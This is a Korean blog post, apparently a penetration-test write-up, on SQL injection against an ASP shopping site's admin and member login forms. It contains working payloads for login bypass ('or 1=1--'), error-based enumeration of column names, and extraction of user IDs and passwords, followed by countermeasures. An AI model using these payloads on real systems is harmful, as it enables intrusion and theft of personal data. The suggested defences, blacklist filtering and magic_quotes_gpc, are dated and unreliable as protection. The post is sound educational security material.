정보보안/Web Hacking & Security

SQL injecttion

ITtechRoy 2014. 9. 10. 12:53
728x90
반응형

SQL INJECTION


SQL injection 은 어플리케이션의 사용자 입력 값에 SQL 코드를 삽입 또는 추가하고, 해당 SQL 구문을 가장 마지막의 SQL 서버에 전달하여 해석 및 실행하는 과정에서 발생하는 공격으로 SQL injection 의 가장 일반적인 형태는 파라미터 값에 SQL 명령을 삽입하고 실행하는 형태로 이루어진다.



◎ SQL INJECION TEST                                                                      
 아래 그림은 관리자 페이지에서 SQL injection을 확인 하기위해 ‘ 문자 하나만 입력하여 Test 한 결과이다. ‘ 문자 하나만으로 에러페이지를 통해 브라우저 종류와 파일 이름 등을 알 수 있었고 Get 방식을 사용한다는 점도 확인할 수 있었다.

 

 


아래 그림은 관리자 페이지에 SQL inection 을 시도한 화면이다. ‘or 1=1—의 간단한 SQL 구문에도 SQL injection 공격이 성공해 로그인 되게 된다. 해당 페이지에 SQL injection 공격에 대응하기 위한 필터링이 필요하다.

 



관리자 페이지에 접속한 화면이다. 관리자 정보 변경, 회원관리, 상품관리, 주문관리 등 페이지의 모든 관리를 할 수 있다. 해당 관리자 페이지가 SQL injection에 노출 될 경우 페이지에 큰 피해가 올 것으로 예상된다.


 


관리자페이지에서는 회원 정보 관리도 가능하여 관리자 페이지가 노출되어 SQL injection 공격에 노출된다면 해당 웹서버의 회원 개인정보 유출의 위험이 커지게 된다.




아래 그림은 관리자 페이지에 한번 로그인한 후 “ /admin/index.asp “ 관리자 페이지에 다시 접속한 화면이다. 한번 접속한 후 아무런 문자나 입력해도 다시 관리자로 접속되었다. 관리자 접속 후 해당 페이지에서 벗어나면 자동 로그아웃 기능이나 세션 만료 설정이 필요하다.


 


테이블명 확인                                                                                   

회원 로그인 페이지의  아이디 비밀번호 란에  SQL injection 을 시도하였다. 'and(@@version)>1--   를 입력한 결과 웹 서버의 버전정보를 알 수 있었다. 해당 웹서버가 최신버전이 아니라면 구버전의 알려진 취약점이 있을것이다 이러한 취약점을 이용하여 공격이 이루어 진다면 웹서버 운영에 문제가 될것으로 보인다.






'having 1=1--  를 이용해 현재 페이지의 테이블명을 알수있었다. 테이블 명은 'mem_id' 이라는 것을 확인할 수 있었으며 첫번째 테이블 명을 이용해 다음 테이블 명을 추출해 보겠다.

 




'group by mem_id--  첫번째 테이블명을 이용해 두번째 테이블명을 알아내었다. 두번째 테이블명은 'mem_pwd' 라는 것을 알수있었으며 이런 값을 이용해 다음테이블도 계속 추출해보았다.

 



아래와 같은 입력값을통해 출력되는값을 통해 테이블명을 확인할 수 있었으며 알아낸 테이블 명을 이용해 페이지의  다양한 값을 알아낼 수 있다.

입력값
출력값

'group by mem_id,mem_pwd,mem_name,mem_jumin 
 

mem_zip

'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip 
 

mem_addr1

'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip,mem_addr1 
 

mem_addr2

'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip,mem_addr1,mem_addr2
 

mem_tel

'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip,mem_addr1,mem_addr2,
mem_tel 
 


mem_hp

'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip,mem_addr1,mem_addr2,mem_tel,mem_hp 
 


mem_email

'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip,mem_addr1,mem_addr2,mem_tel,mem_hp,mem_email 
 


mem_wtday

 


마지막으로 'group by mem_id,mem_pwd,mem_name,mem_jumin,mem_zip,mem_addr1,mem_addr2,mem_tel,mem_hp,mem_email,mem_wtday-- 를 이용해  'mem_wtday' 다음 테이블명을 알아내려고했으나 "아이디가 존재하지않습니다" 라는 문구의 슼크립트가 나타났다. 테이블명은 'mem_wtday' 까지라는 것을 확인할 수 있다.

 






5.3  아이디 / 패스워드 추출

' or 1=(select top 1 mem_id from member) –   를 이용해 아이디를 알아보았다. 에러페이지를 통해 데이터베이스에 저장된 아이디를 확인하였으며 첫번째 추출된 아이디를 이용해 두번째 아이디도 추출해내었다.  5.2 테이블명 확인  을 이용해 알아낸 테이블명을 이용해  ( mem_pwd ) 해당 페이지의 패스워드 또한 추출해 내었다.

 







- ID 추출

입력값
출력값

' or 1=(select top 1 mem_id from member) 
 

Test

' or 1=(select top 1 mem_id from member where mem_id <> 'test') 
 

Mentor21


 - Password 추출

입력값
출력값

' or 1=(select top 1 mem_pwd from member) --

Test
 

' or 1=(select top 1 mem_pwd from member where mem_pwd<> 'test') 
 

Abc123
 

 









5.2.     정리
  

공격대상
 - 사용자 로그인 입력 폼
 - 웹 URL 파라미터
 - 쿠키값


피해유형
- 데이터베이스 구조노출 : 의도적으로  오류 가 발생되는 SQL 쿼리문을 삽입하여 데이터베이스 구조 파악.
- 데이터베이스 자료 유출 : 주요 자료 외부유출
- 데이터베이스 데이터 변조 : SQL 쿼리문 조작을 통하여 홈페이지 내용을 변조.
- 인증우회 : 타 사용자로 로그인 성공.







보호대책







 
- 데이터베이스와 연동하는 스크립트의 모든 파라미터들을 점검하여 사용자의 입력 값에 SQL 쿼리문이 삽입되지 않도록 특수문자 (‘, “, \, ;, :, %, Space, --, +, <, >, (, ), #, & 등)를 필터링 한다.
- 입력문자열 대한 길이를 제한한다.
- 데이터베이스와 연동하는 스크립트의 모든 파라미터들을 점검하여 사용자의 입력 값에 SQL구문으로 사용되는 문자열(@variable, @@variable, print, set, or, union, and, insert, openrowset 등)을 필터링 한다.
- 데이터베이스의 에러 메시지를 사용자에게 보여주지 않도록 수정한다.
- 웹 어플리케이션이 사용하는 데이터베이스의 사용자 권한을 제한한다.
- php.ini 설정 중 magic_quotes_gpc 값을 On으로 설정한다.
- magic_quotes_gpc 옵션의 역할은 GPC(Get, Post, Cookie)를 통해 넘어오는 문자열 중에서 ‘(sing-quote)와  (double-quote), \(backslash), NULL 값의 앞에 자동으로 Backsash 문자를 붙여주는 기능을 한다.
  맛집 해킹 hacking web 웹 네트워크 network 학원 해커 크래커 hacker cracker 강아지 dog 고양이 해운대 강남 서면 보쌈 치맥 치킨 맥주 육회 회 포렌식 침해대응 cert 관제 모의해킹 mobile 모바일 무선 wireless 디지털포렌식 Clanguage C언어 C# JSP JAVA tool 해킹방어대회 ctf 문제풀이 기타 맛집 해킹 hacking web 웹 네트워크 network 학원 해커 크래커 hacker cracker 강아지 dog 고양이 해운대 강남 서면 보쌈 치맥 치킨 맥주 육회 회 포렌식 침해대응 cert 관제 모의해킹 mobile 모바일 무선 wireless 디지털포렌식 Clanguage C언어 C# JSP JAVA tool 해킹방어대회 ctf 문제풀이 기타


728x90
반응형